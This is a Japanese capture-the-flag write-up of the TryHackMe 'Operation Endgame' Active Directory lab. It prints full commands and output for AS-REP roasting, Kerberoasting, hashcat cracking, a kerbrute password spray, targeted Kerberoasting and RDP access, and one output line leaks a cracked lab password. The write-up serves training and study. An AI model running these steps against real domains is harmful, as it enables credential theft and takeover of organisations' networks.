このタイミングで、/etc/hostsに以下の情報を追加しましょう。

[target_ip]     AD.thm.local thm.local AD

設定後、収集したユーザー名を利用し、NetExecでAS-REP Hashを発行するかを検証したところ、発行できました。

$ nxc ldap AD.thm.local -u usernames.txt -p '' --asreproast nxc-asreproasting.txt

実際に解読してみましたが、クラックはできませんでした。

$ sudo hashcat -a 0 -m 18200 nxc-asreproasting.txt /usr/share/wordlists/rockyou.txt 

指定したIPをドメイン名に変更して、Kerberoasting攻撃できないかを検証してみます。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ nxc ldap AD.thm.local -u guest -p '' --kerberoasting nxc-kerberoasting.txt
LDAP        [target_ip]   389    AD               [*] Windows 10 / Server 2019 Build 17763 (name:AD) (domain:thm.local) (signing:None) (channel binding:No TLS cert)                                                                                    
LDAP        [target_ip]   389    AD               [+] thm.local\guest: 
LDAP        [target_ip]   389    AD               [*] Total of records returned 1
LDAP        [target_ip]   389    AD               [*] sAMAccountName: CODY_ROY, memberOf: CN=Remote Desktop Users,CN=Builtin,DC=thm,DC=local, pwdLastSet: 2024-05-10 23:06:07.611965, lastLogon: 2024-04-25 00:41:18.970113
LDAP        [target_ip]   389    AD               $krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*$faccfb441ea5a0322f3c625e5256b5ba$f6c82f2bd61c4e0ccbbd2a715521785d1853392e9c7478a1e69ac70b938975ecaab9363d717de357883ef2ea1e2ed3f70dee8b8ac1aff3b9fd0f968569a2fcc797be8d57322e06fc8bb719d2b6e1783a5f045c323f39151b838944a721c14addbaf4723811f9efdfdb74b7a0272fa40e9000812b6f743ebeefd31443abd394cb880330c9c590ab574d0920f464716cd702b3e4d548753b3467133670d6d5961a7ff6fe2cf1fe36d7bcc4b52a3f8f004c8d94498268e3a0c151d0dbc685e9741fb24401993b7733a07bf03762b006aa3df24b85296529af729b30ad0a602dcd9f01e6eadfbe563e188d1e8c54f80606bc571de6d75a2ff099bb1051a49c8e192206d6375d458ae44f169a12cb0edad2a5d8cf525a3c0e6655bbcce9f9451b431a35033c457a8d29ce4ccec584e824515598d279b3535b13d52c3ed27f9404bb595e9dd38501c10738c48a2745f186baec784f514d5bfe98d4e756608375026bafa99c6cb09713150e5722c694990235a1d85bb5861166b6937650f0289c4b417a9fd6435f80986a9e9268e901d1136e42218fa55d1430cd79b3c6e2fce0baecd38d8d229525504b3003c1f2f410d359a9824c42b08158139a77b3fb58afbac8088e63f55952164c7e032779322b1bebba9d91a33de96e2ccd6a199ab83aa2825ff85e5f1708e8b6db7d9cbce79ed17618583ead9311f19069e136838daa2a604af61b16c359bd57a5c1fac70ec1dc62064ba3314f608d64a7f8a6f9d7e21ad882a72236723ba97aba34695a705bd751a820e93fc4e88cedf67ad4b827dfec9cd967f46802bfca7048938f6b4ffdda51ed2986369f6ec3c92d21642aa23f3f9450eb92e69057fbfc6de5e8b545ddfeb68d900218d02494fb60c025136a2f2aa100ed9c7e3e0bad1743172bc95a8227175369a23ef8f5d022fdfe3e2b06e5b3ffc6d94dbfd72ce62f0482ee43f9a10cc0e5c64c23f86156e548f954a705c56950fa9d86d5282ae56e51983dee44bebfac3e060b219e77158aeee68f3a445464f6993d547165bb7a739288a5b10764ac2c3ffab8dadc4070d474010290f1c89ecee31497f065291cc5914c5e4f9fc3d92be5d9dff34e5ea977dd479da73a28f032467123a7000683852d27a7c28ab81af915d02c51663cd03d9224d67df2234784f70947e0f2bffaaa8838abb03781fdeb14940bfeaa29154431b2415800c90dc12bfcabac095b01d4815301d095058282369449d7d82fbc50443f3cbe0b84d2052c99020fb0791164604edc1afce7716527c7734eb141bbd3f2329b6b84e9c3f43b247fb321d52c8f41c3a3d2193277434d2099830d3b939b2e191bcbeab7368a75f5b4256c2310f34b1c48668286f21efe3ff1b4323aef8f5a82b6fd5eb2e0e9  

すると、なんとCODY_ROYのTGSチケットを吐きました。

 
解読してみたところ、パスワードをクラックすることに成功しました。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ echo '$krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*$faccfb441ea5a0322f3c625e5256b5ba$f6c82f2bd61c4e0ccbbd2a715521785d1853392e9c7478a1e69ac70b938975ecaab9363d717de357883ef2ea1e2ed3f70dee8b8ac1aff3b9fd0f968569a2fcc797be8d57322e06fc8bb719d2b6e1783a5f045c323f39151b838944a721c14addbaf4723811f9efdfdb74b7a0272fa40e9000812b6f743ebeefd31443abd394cb880330c9c590ab574d0920f464716cd702b3e4d548753b3467133670d6d5961a7ff6fe2cf1fe36d7bcc4b52a3f8f004c8d94498268e3a0c151d0dbc685e9741fb24401993b7733a07bf03762b006aa3df24b85296529af729b30ad0a602dcd9f01e6eadfbe563e188d1e8c54f80606bc571de6d75a2ff099bb1051a49c8e192206d6375d458ae44f169a12cb0edad2a5d8cf525a3c0e6655bbcce9f9451b431a35033c457a8d29ce4ccec584e824515598d279b3535b13d52c3ed27f9404bb595e9dd38501c10738c48a2745f186baec784f514d5bfe98d4e756608375026bafa99c6cb09713150e5722c694990235a1d85bb5861166b6937650f0289c4b417a9fd6435f80986a9e9268e901d1136e42218fa55d1430cd79b3c6e2fce0baecd38d8d229525504b3003c1f2f410d359a9824c42b08158139a77b3fb58afbac8088e63f55952164c7e032779322b1bebba9d91a33de96e2ccd6a199ab83aa2825ff85e5f1708e8b6db7d9cbce79ed17618583ead9311f19069e136838daa2a604af61b16c359bd57a5c1fac70ec1dc62064ba3314f608d64a7f8a6f9d7e21ad882a72236723ba97aba34695a705bd751a820e93fc4e88cedf67ad4b827dfec9cd967f46802bfca7048938f6b4ffdda51ed2986369f6ec3c92d21642aa23f3f9450eb92e69057fbfc6de5e8b545ddfeb68d900218d02494fb60c025136a2f2aa100ed9c7e3e0bad1743172bc95a8227175369a23ef8f5d022fdfe3e2b06e5b3ffc6d94dbfd72ce62f0482ee43f9a10cc0e5c64c23f86156e548f954a705c56950fa9d86d5282ae56e51983dee44bebfac3e060b219e77158aeee68f3a445464f6993d547165bb7a739288a5b10764ac2c3ffab8dadc4070d474010290f1c89ecee31497f065291cc5914c5e4f9fc3d92be5d9dff34e5ea977dd479da73a28f032467123a7000683852d27a7c28ab81af915d02c51663cd03d9224d67df2234784f70947e0f2bffaaa8838abb03781fdeb14940bfeaa29154431b2415800c90dc12bfcabac095b01d4815301d095058282369449d7d82fbc50443f3cbe0b84d2052c99020fb0791164604edc1afce7716527c7734eb141bbd3f2329b6b84e9c3f43b247fb321d52c8f41c3a3d2193277434d2099830d3b939b2e191bcbeab7368a75f5b4256c2310f34b1c48668286f21efe3ff1b4323aef8f5a82b6fd5eb2e0e9' > cody.hash
                                                                                                                             
┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ hashcat -m 13100 cody.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (7604 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*$faccfb441ea5a0322f3c625e5256b5ba$f6c82f2bd61c4e0ccbbd2a715521785d1853392e9c7478a1e69ac70b938975ecaab9363d717de357883ef2ea1e2ed3f70dee8b8ac1aff3b9fd0f968569a2fcc797be8d57322e06fc8bb719d2b6e1783a5f045c323f39151b838944a721c14addbaf4723811f9efdfdb74b7a0272fa40e9000812b6f743ebeefd31443abd394cb880330c9c590ab574d0920f464716cd702b3e4d548753b3467133670d6d5961a7ff6fe2cf1fe36d7bcc4b52a3f8f004c8d94498268e3a0c151d0dbc685e9741fb24401993b7733a07bf03762b006aa3df24b85296529af729b30ad0a602dcd9f01e6eadfbe563e188d1e8c54f80606bc571de6d75a2ff099bb1051a49c8e192206d6375d458ae44f169a12cb0edad2a5d8cf525a3c0e6655bbcce9f9451b431a35033c457a8d29ce4ccec584e824515598d279b3535b13d52c3ed27f9404bb595e9dd38501c10738c48a2745f186baec784f514d5bfe98d4e756608375026bafa99c6cb09713150e5722c694990235a1d85bb5861166b6937650f0289c4b417a9fd6435f80986a9e9268e901d1136e42218fa55d1430cd79b3c6e2fce0baecd38d8d229525504b3003c1f2f410d359a9824c42b08158139a77b3fb58afbac8088e63f55952164c7e032779322b1bebba9d91a33de96e2ccd6a199ab83aa2825ff85e5f1708e8b6db7d9cbce79ed17618583ead9311f19069e136838daa2a604af61b16c359bd57a5c1fac70ec1dc62064ba3314f608d64a7f8a6f9d7e21ad882a72236723ba97aba34695a705bd751a820e93fc4e88cedf67ad4b827dfec9cd967f46802bfca7048938f6b4ffdda51ed2986369f6ec3c92d21642aa23f3f9450eb92e69057fbfc6de5e8b545ddfeb68d900218d02494fb60c025136a2f2aa100ed9c7e3e0bad1743172bc95a8227175369a23ef8f5d022fdfe3e2b06e5b3ffc6d94dbfd72ce62f0482ee43f9a10cc0e5c64c23f86156e548f954a705c56950fa9d86d5282ae56e51983dee44bebfac3e060b219e77158aeee68f3a445464f6993d547165bb7a739288a5b10764ac2c3ffab8dadc4070d474010290f1c89ecee31497f065291cc5914c5e4f9fc3d92be5d9dff34e5ea977dd479da73a28f032467123a7000683852d27a7c28ab81af915d02c51663cd03d9224d67df2234784f70947e0f2bffaaa8838abb03781fdeb14940bfeaa29154431b2415800c90dc12bfcabac095b01d4815301d095058282369449d7d82fbc50443f3cbe0b84d2052c99020fb0791164604edc1afce7716527c7734eb141bbd3f2329b6b84e9c3f43b247fb321d52c8f41c3a3d2193277434d2099830d3b939b2e191bcbeab7368a75f5b4256c2310f34b1c48668286f21efe3ff1b4323aef8f5a82b6fd5eb2e0e9:[cracked_password1]
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*...b2e0e9
Time.Started.....: Sat Apr 18 23:25:37 2026 (1 sec)
Time.Estimated...: Sat Apr 18 23:25:38 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  2797.2 kH/s (2.99ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 712704/14344385 (4.97%)
Rejected.........: 0/712704 (0.00%)
Restore.Point....: 700416/14344385 (4.88%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: albe69 -> Ananas
Hardware.Mon.#01.: Temp: 43c Util: 20%

Started: Sat Apr 18 23:25:36 2026
Stopped: Sat Apr 18 23:25:39 2026

クラックした資格情報をもとにSamaba列挙してみましょう。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ nxc smb AD.thm.local -u CODY_ROY -p '[cracked_password1]' --shares
SMB         [target_ip]   445    AD               [*] Windows 10 / Server 2019 Build 17763 x64 (name:AD) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [target_ip]   445    AD               [+] thm.local\CODY_ROY:MKO)mko0 
SMB         [target_ip]   445    AD               [*] Enumerated shares
SMB         [target_ip]   445    AD               Share           Permissions     Remark
SMB         [target_ip]   445    AD               -----           -----------     ------
SMB         [target_ip]   445    AD               ADMIN$                          Remote Admin
SMB         [target_ip]   445    AD               C$                              Default share
SMB         [target_ip]   445    AD               IPC$            READ            Remote IPC
SMB         [target_ip]   445    AD               NETLOGON        READ            Logon server share 
SMB         [target_ip]   445    AD               SYSVOL          READ            Logon server share 

この資格情報は有効であることがわかります。

試しにwinrmにもアクセスできるかを検証したところ、接続を拒否されてしまいました。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ evil-winrm -i [target_ip] -u CODY_ROY -p '[cracked_password1]'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                                                                          
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

                                        
Error: Connection timeout or error occurred: Errno::ECONNREFUSED - Connection refused - Connection refused - connect(2) for "[target_ip]" port 5985 (10.48.183.252:5985)                                                                                
                                        
Warning: Cleaning up and exiting...

これは、少し考え直す必要がありそうです。今回、ユーザーアカウントがそもそも多くあったので、むしろBloodhoundを使用した方が見やすいかもしれません。

そこで、以下を実行し、データ収集を行いました。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ bloodhound-python -u CODY_ROY -p '[cracked_password1]' -d thm.local -ns [target_ip] -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: thm.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: ad.thm.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: ad.thm.local
INFO: Found 490 users
INFO: Found 53 groups
INFO: Found 4 gpos
INFO: Found 216 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: ad.thm.local
INFO: Done in 01M 24S

なんと収集することに成功しました。

Bloodhoundを使用し、環境を分析したところ、CODY_ROYは興味深い権限がいくつかあります。グループの一員としてEVERYONEに所属しています。また、このユーザーはGenericWriteを持つさまざまなユーザーに対する権限を持っており、それによって各ユーザーに対してシャドウクレデンシャル攻撃やターゲット型Kerberoast攻撃を実行できます。しかし、一見すると、これらのユーザーには興味深い権限やグループメンバーシップはありません。

bloodhound.png

また、CODY_ROYは特別なグループにも属していません。

bloodhound1.avif

以下のユーザーをドメイン管理者として特定できます。

bloodhound2.avif

さらに見てみると、ドメイン管理者への最短経路を見てみると、ユーザー「guest」には特別な権限が付与されていることがわかります。これにより、ドメイン管理者への権限昇格が可能になります。

bloodhound3.png

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#bloodhound-enumeration

(kali Linuxでスクショを撮るのは面倒なので、これで許してください。)

Lateral Movement

要はこういう順序で侵害していく必要があります。

GUEST@THM.LOCALMARGARITO_HAMILTON@THM.LOCALDOMAIN ADMIN@THM.LOCAL

ただ、糸口が見えません。

そこで、kerbruteを使用して、既存のパスワードを使っている他のユーザーでも使えるかを調べてみます。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ ./kerbrute passwordspray -d 'thm.local' --dc [target_ip] usernames.txt '[cracked_password1]'

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/19/26 - Ronnie Flathers @ropnop

2026/04/19 00:08:04 >  Using KDC(s):
2026/04/19 00:08:04 >   [target_ip]

2026/04/19 00:08:06 >  [+] VALID LOGIN:  CODY_ROY@thm.local:[cracked_password1]
2026/04/19 00:08:17 >  [+] VALID LOGIN:  ZACHARY_HUNT@thm.local:[cracked_password1]
2026/04/19 00:08:24 >  Done! Tested 492 logins (2 successes) in 19.580 seconds

なんと、[cracked_password1]ZACHARY_HUNTというユーザーアカウントでも使用されていることがわかります。

Bloodhoundで見てみると、JERRI_LANCASTERに対して、GenericWrite権限であることが判明します。

bloodhound4.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#access-as-zachary_hunt

そこで、JERRI_LANCASTERに対して、kerberoasting攻撃できないかを検証してみます。

 
以下のようなコマンドを実行しましょう。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ ./targetedKerberoast.py -d 'thm.local' -u 'zachary_hunt' -p '[cracked_password1]' --request-user 'jerri_lancaster' --dc-ip [target_ip]
[*] Starting kerberoast attacks
[*] Attacking user (jerri_lancaster)
[+] Printing hash for (JERRI_LANCASTER)
$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$671955d067703b7098d1aac6047f6f4c$6f842995839286e2f3ac567d4758cad25e787f6f241de4644bc1a7bfaffdb3a3fea5f2db395d973a93ae3a9c540059c0a3cf789af3bc70b379924f03f38d1b8d3d52b9055f6bbe8de835088e0e0e3287bda02355cacb696a7def6bb96d24974f5085076e8ed7de7b0ef33bcd1afdb3d531060a3a0d618f89683e247b16aa82fffd724a0b1e49dd9213fee036f7579e49b41748e4a631a6e1063d2082fd12f3f44d4b181b133a3301ec51e3d263d9853ae8e4b5bfc29be69157f04345bb9f00eb9a42bd6f1e154f56e470c861c619f4a34b710e0ec94e6a951e5ef247942e6b3533439ff32b415f69106afeaa9b8ed8d54116ded7cd0940f6d929ca45e3561ee56797d475d041e7c14cbc148e2fed2c0dffa8c0e47075940ca5a121eb3d34becf796e82c2047c084815f95d93ae6d27d0e60dd0a07f60eb4f22841ddf985f6a199e49d696b8799080c901babd1d56549583e4ef5c28cf0c4c4643e5a811e342a56e870d2c35f830224a49eeabd67f147f829ae7c5ee31f19acbad892d86892d5725280a840fd56e1c2e180653eadd88845527be5e8271218b7d03e29766829cfc64a63f0cdd6f5ac2813d7a43f79a07af353607f302748fea9c0fd3f8ef48a4c434bb3a6cd9cdda09242eac361da143207f402ec113cb9c28fbba1fc7ee751d10e17d9f8202a66073b81799832f1f84407049d4223dd7ba4ba4ea27cc583d115baf835d714102c4086261de0230e5f075ff371d8600802362cf69b1ecb3f563c1916962c0775c6e672c6d6dc7896caf8ebbab6955a86d2bf6ee5bc55c1da95e8a29a268277cc5e552964826832f8ed5354b3058efdb6d0d15fcd42d6782ec73422fe42c026a14944215d3490610e54cea6b8bf18b9f1386fe0072548dfecd28fa75c199f6f7ee00c18981b60e615ec283f1e7c165c960eddaab199294c1e7db878a74be49b87d2382d05fbaa413d7133b62e005b728c9d8a03aff780650d0a2b27f1b5c16d6a374d54e4ca50fbde1d7dc10baf063950117f501f28c8de95c3c4d6158d80e5607e549057380d323ad810d952ab8f47118dac33ad69959ed3db5a44a0d6fb2e3addd861d12157978c06a4785e17bd21778e39415923d9f12a98cf4205fc1b505967964f6b21e60e79a02ce4929dee34b93249ba16a1b6fefb70590c31aaded9b821ad348883df49e2284c646d214341044d7dbd31bb365e91e0a912943300de8390cca6b8b53180b19dc2fa2ec9961b77e03fb0ae01855ac99c73af54acdedb5ebe6ece54845d50ef8f2a6c0bdb92aca79ff70e498030e9667580fbc7d608795f9170d1d0bd38359285b957dbadb552fa04ca601a775d0dc1df1eb29705a5440dd11336d3ae6d62b8fa1f22d036660e5bb3c00cb33cc5ac2aa96d8506006003debc16d9a0141f68e7dfc4f0dd7206a12acded9d917e3794f1d0afba04d4ef8eeb22f8caea9bd34c3110c5fc9e39605fd850e140889f26da0117a44e2587718eb80eabf06a360c4e38b2dea08e44a683080

すると、なんとJERRI_LANCASTERのTGSチケットを吐きました。

実際にパスワード解読してみましょう。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ echo '$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$671955d067703b7098d1aac6047f6f4c$6f842995839286e2f3ac567d4758cad25e787f6f241de4644bc1a7bfaffdb3a3fea5f2db395d973a93ae3a9c540059c0a3cf789af3bc70b379924f03f38d1b8d3d52b9055f6bbe8de835088e0e0e3287bda02355cacb696a7def6bb96d24974f5085076e8ed7de7b0ef33bcd1afdb3d531060a3a0d618f89683e247b16aa82fffd724a0b1e49dd9213fee036f7579e49b41748e4a631a6e1063d2082fd12f3f44d4b181b133a3301ec51e3d263d9853ae8e4b5bfc29be69157f04345bb9f00eb9a42bd6f1e154f56e470c861c619f4a34b710e0ec94e6a951e5ef247942e6b3533439ff32b415f69106afeaa9b8ed8d54116ded7cd0940f6d929ca45e3561ee56797d475d041e7c14cbc148e2fed2c0dffa8c0e47075940ca5a121eb3d34becf796e82c2047c084815f95d93ae6d27d0e60dd0a07f60eb4f22841ddf985f6a199e49d696b8799080c901babd1d56549583e4ef5c28cf0c4c4643e5a811e342a56e870d2c35f830224a49eeabd67f147f829ae7c5ee31f19acbad892d86892d5725280a840fd56e1c2e180653eadd88845527be5e8271218b7d03e29766829cfc64a63f0cdd6f5ac2813d7a43f79a07af353607f302748fea9c0fd3f8ef48a4c434bb3a6cd9cdda09242eac361da143207f402ec113cb9c28fbba1fc7ee751d10e17d9f8202a66073b81799832f1f84407049d4223dd7ba4ba4ea27cc583d115baf835d714102c4086261de0230e5f075ff371d8600802362cf69b1ecb3f563c1916962c0775c6e672c6d6dc7896caf8ebbab6955a86d2bf6ee5bc55c1da95e8a29a268277cc5e552964826832f8ed5354b3058efdb6d0d15fcd42d6782ec73422fe42c026a14944215d3490610e54cea6b8bf18b9f1386fe0072548dfecd28fa75c199f6f7ee00c18981b60e615ec283f1e7c165c960eddaab199294c1e7db878a74be49b87d2382d05fbaa413d7133b62e005b728c9d8a03aff780650d0a2b27f1b5c16d6a374d54e4ca50fbde1d7dc10baf063950117f501f28c8de95c3c4d6158d80e5607e549057380d323ad810d952ab8f47118dac33ad69959ed3db5a44a0d6fb2e3addd861d12157978c06a4785e17bd21778e39415923d9f12a98cf4205fc1b505967964f6b21e60e79a02ce4929dee34b93249ba16a1b6fefb70590c31aaded9b821ad348883df49e2284c646d214341044d7dbd31bb365e91e0a912943300de8390cca6b8b53180b19dc2fa2ec9961b77e03fb0ae01855ac99c73af54acdedb5ebe6ece54845d50ef8f2a6c0bdb92aca79ff70e498030e9667580fbc7d608795f9170d1d0bd38359285b957dbadb552fa04ca601a775d0dc1df1eb29705a5440dd11336d3ae6d62b8fa1f22d036660e5bb3c00cb33cc5ac2aa96d8506006003debc16d9a0141f68e7dfc4f0dd7206a12acded9d917e3794f1d0afba04d4ef8eeb22f8caea9bd34c3110c5fc9e39605fd850e140889f26da0117a44e2587718eb80eabf06a360c4e38b2dea08e44a683080' > jerri.hash
                                                                                                                             
┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ hashcat -m 13100 jerri.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (6023 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$671955d067703b7098d1aac6047f6f4c$6f842995839286e2f3ac567d4758cad25e787f6f241de4644bc1a7bfaffdb3a3fea5f2db395d973a93ae3a9c540059c0a3cf789af3bc70b379924f03f38d1b8d3d52b9055f6bbe8de835088e0e0e3287bda02355cacb696a7def6bb96d24974f5085076e8ed7de7b0ef33bcd1afdb3d531060a3a0d618f89683e247b16aa82fffd724a0b1e49dd9213fee036f7579e49b41748e4a631a6e1063d2082fd12f3f44d4b181b133a3301ec51e3d263d9853ae8e4b5bfc29be69157f04345bb9f00eb9a42bd6f1e154f56e470c861c619f4a34b710e0ec94e6a951e5ef247942e6b3533439ff32b415f69106afeaa9b8ed8d54116ded7cd0940f6d929ca45e3561ee56797d475d041e7c14cbc148e2fed2c0dffa8c0e47075940ca5a121eb3d34becf796e82c2047c084815f95d93ae6d27d0e60dd0a07f60eb4f22841ddf985f6a199e49d696b8799080c901babd1d56549583e4ef5c28cf0c4c4643e5a811e342a56e870d2c35f830224a49eeabd67f147f829ae7c5ee31f19acbad892d86892d5725280a840fd56e1c2e180653eadd88845527be5e8271218b7d03e29766829cfc64a63f0cdd6f5ac2813d7a43f79a07af353607f302748fea9c0fd3f8ef48a4c434bb3a6cd9cdda09242eac361da143207f402ec113cb9c28fbba1fc7ee751d10e17d9f8202a66073b81799832f1f84407049d4223dd7ba4ba4ea27cc583d115baf835d714102c4086261de0230e5f075ff371d8600802362cf69b1ecb3f563c1916962c0775c6e672c6d6dc7896caf8ebbab6955a86d2bf6ee5bc55c1da95e8a29a268277cc5e552964826832f8ed5354b3058efdb6d0d15fcd42d6782ec73422fe42c026a14944215d3490610e54cea6b8bf18b9f1386fe0072548dfecd28fa75c199f6f7ee00c18981b60e615ec283f1e7c165c960eddaab199294c1e7db878a74be49b87d2382d05fbaa413d7133b62e005b728c9d8a03aff780650d0a2b27f1b5c16d6a374d54e4ca50fbde1d7dc10baf063950117f501f28c8de95c3c4d6158d80e5607e549057380d323ad810d952ab8f47118dac33ad69959ed3db5a44a0d6fb2e3addd861d12157978c06a4785e17bd21778e39415923d9f12a98cf4205fc1b505967964f6b21e60e79a02ce4929dee34b93249ba16a1b6fefb70590c31aaded9b821ad348883df49e2284c646d214341044d7dbd31bb365e91e0a912943300de8390cca6b8b53180b19dc2fa2ec9961b77e03fb0ae01855ac99c73af54acdedb5ebe6ece54845d50ef8f2a6c0bdb92aca79ff70e498030e9667580fbc7d608795f9170d1d0bd38359285b957dbadb552fa04ca601a775d0dc1df1eb29705a5440dd11336d3ae6d62b8fa1f22d036660e5bb3c00cb33cc5ac2aa96d8506006003debc16d9a0141f68e7dfc4f0dd7206a12acded9d917e3794f1d0afba04d4ef8eeb22f8caea9bd34c3110c5fc9e39605fd850e140889f26da0117a44e2587718eb80eabf06a360c4e38b2dea08e44a683080:[cracked_password2]
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JE...683080
Time.Started.....: Sun Apr 19 00:29:57 2026 (0 secs)
Time.Estimated...: Sun Apr 19 00:29:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  6043.4 kH/s (1.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 626688/14344385 (4.37%)
Rejected.........: 0/626688 (0.00%)
Restore.Point....: 614400/14344385 (4.28%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: mizzmoss -> lokita6
Hardware.Mon.#01.: Temp: 56c Util: 24%

Started: Sun Apr 19 00:29:57 2026
Stopped: Sun Apr 19 00:29:59 2026

すると、パスワードを解読することに成功しました。

ここでJERRI_LANCASTERwriteowner権限を持つアカウントであるため、これは大きな成果です。

ここまで来たら、RDP接続できそうなので、以下のコマンドで接続を試みます。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ xfreerdp /v:[target_ip] /u:JERRI_LANCASTER /p:'[cracked_password2]' /d:thm.local /network:modem /compression -themes -wallpaper

RDP接続に成功しました。

しかし、どれを押しても反応しないため、win+Rを押し、CMDシェルを起動させます。
(UACバイパスに近いかもしれません)

windows_picture.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#access-as-jerri_lancaster

ここで、新たな新たなアカウントの資格情報を取得しました。

windows_picuture2.png

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#access-as-jerri_lancaster

Privilege Escalation

BloodHoundで確認すると、SANFORD_DAUGHERTYはドメイン管理者であることがわかります。

root.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#shell-as-sanford_daugherty

 
